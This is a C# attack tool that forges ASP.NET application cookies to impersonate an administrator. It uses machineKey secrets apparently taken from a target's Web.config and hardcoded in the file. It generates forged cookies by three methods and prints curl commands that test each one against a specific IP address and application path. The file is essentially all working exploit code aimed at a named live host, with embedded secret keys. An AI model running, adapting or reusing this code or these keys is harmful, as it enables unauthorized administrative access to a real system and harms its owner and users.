// CookieForge.cs — Manual AES+HMAC forge of .AspNet.ApplicationCookie // machineKey from Web.config (decryption=AES, validation=HMACSHA256) // Compile: mcs -r:System.Web -r:System.Core -out:CookieForge.exe CookieForge.cs // Run: mono CookieForge.exe using System; using System.IO; using System.Text; using System.Security.Cryptography; using System.Web; using System.Web.Security; class CookieForge { static void Main(string[] args) { string decKeyHex = "304DCCF3428FB1D39BCBCED801804B829F5BCD4D0E46A0E923AEFD427D9026E7"; string valKeyHex = "632EF20769E89AD1EEF7C18D3AAFFDC07B8D8241A1DAD922C27FFCC57F0A16DAC26AB5C4DF83CEE7289615849BE8FF369A41"; byte[] decKey = HexToBytes(decKeyHex); // 32 bytes = AES-256 byte[] valKey = HexToBytes(valKeyHex); // 50 bytes // Approach 1: try MachineKey.Protect (available in .NET 4.5+) // Purpose: "Microsoft.AspNet.Identity.Application" string[] purposes = new string[] { "Microsoft.AspNet.Identity.Application" }; // Try different user data formats string[] payloads = new string[] { "irelyadmin|1|Administrator|01", "{\"sub\":\"1\",\"name\":\"irelyadmin\",\"role\":\"Administrator\",\"company\":\"01\"}", }; foreach (string payload in payloads) { byte[] data = Encoding.UTF8.GetBytes(payload); // Method 1: MachineKey.Protect (may fail if machineKey not configured) try { byte[] protectedData = MachineKey.Protect(data, purposes); string cookie = Convert.ToBase64String(protectedData); Console.WriteLine("=== MachineKey.Protect ==="); Console.WriteLine("Payload: " + payload); Console.WriteLine("Cookie: " + cookie); Console.WriteLine("Test: curl -sS -b \".AspNet.ApplicationCookie=" + cookie + "\" http://50.21.183.111/2210CherryEnergyUAP1/"); Console.WriteLine(); } catch (Exception ex) { Console.WriteLine("MachineKey.Protect failed for payload '" + payload + "': " + ex.Message); } // Method 2: Manual AES-CBC + HMACSHA256 try { string manualCookie = ManualProtect(data, decKey, valKey); Console.WriteLine("=== Manual AES+HMAC ==="); Console.WriteLine("Payload: " + payload); Console.WriteLine("Cookie: " + manualCookie); Console.WriteLine("Test: curl -sS -b \".AspNet.ApplicationCookie=" + manualCookie + "\" http://50.21.183.111/2210CherryEnergyUAP1/"); Console.WriteLine(); } catch (Exception ex) { Console.WriteLine("Manual failed: " + ex.Message); } // Method 3: FormsAuthentication (older format, may be accepted) try { FormsAuthenticationTicket ticket = new FormsAuthenticationTicket( 2, // version "irelyadmin", // name DateTime.Now, // issue date DateTime.Now.AddHours(1),// expiry false, // persistent payload, // user data "/" // cookie path ); string formsCookie = FormsAuthentication.Encrypt(ticket); Console.WriteLine("=== FormsAuthentication.Encrypt ==="); Console.WriteLine("Payload: " + payload); Console.WriteLine("Cookie (.AspNet.ApplicationCookie): " + formsCookie); Console.WriteLine("Test: curl -sS -b \".AspNet.ApplicationCookie=" + formsCookie + "\" http://50.21.183.111/2210CherryEnergyUAP1/"); Console.WriteLine(); } catch (Exception ex) { Console.WriteLine("FormsAuthentication failed: " + ex.Message); } } // Also try with OWIN binary ticket format // OWIN serializes AuthenticationTicket as: // [version:1][ticket data...][magic:0xFE][HMAC:32] // The ticket data itself is DataContractSerializer output of ClaimsIdentity Console.WriteLine("=== Note: OWIN cookie format requires proper ClaimsIdentity serialization ==="); Console.WriteLine("The exact binary format of OWIN cookie payload:"); Console.WriteLine("1. AuthenticationTicket serialized via DataContractSerializer"); Console.WriteLine("2. Protected via SecureDataFormat (MachineKey-based)"); Console.WriteLine("3. Purpose: Microsoft.AspNet.Identity.Application"); Console.WriteLine(); Console.WriteLine("Without matching the exact serialization, the server will reject the cookie."); Console.WriteLine("Alternative: use dotnet (C# 8) with Microsoft.Owin.Security.Interop NuGet package"); } static string ManualProtect(byte[] data, byte[] decKey, byte[] valKey) { // Generate random IV byte[] iv = new byte[16]; using (var rng = new RNGCryptoServiceProvider()) rng.GetBytes(iv); // AES-CBC encrypt byte[] encrypted; using (var aes = Aes.Create()) { aes.Key = decKey; aes.IV = iv; aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.PKCS7; using (var encryptor = aes.CreateEncryptor()) encrypted = encryptor.TransformFinalBlock(data, 0, data.Length); } // Build: IV + encrypted byte[] blob = new byte[iv.Length + encrypted.Length]; Buffer.BlockCopy(iv, 0, blob, 0, iv.Length); Buffer.BlockCopy(encrypted, 0, blob, iv.Length, encrypted.Length); // HMAC-SHA256 byte[] mac; using (var hmac = new HMACSHA256(valKey)) mac = hmac.ComputeHash(blob); // Result: MAC + blob byte[] result = new byte[mac.Length + blob.Length]; Buffer.BlockCopy(mac, 0, result, 0, mac.Length); Buffer.BlockCopy(blob, 0, result, mac.Length, blob.Length); return Convert.ToBase64String(result); } static byte[] HexToBytes(string hex) { byte[] bytes = new byte[hex.Length / 2]; for (int i = 0; i < hex.Length; i += 2) bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16); return bytes; } }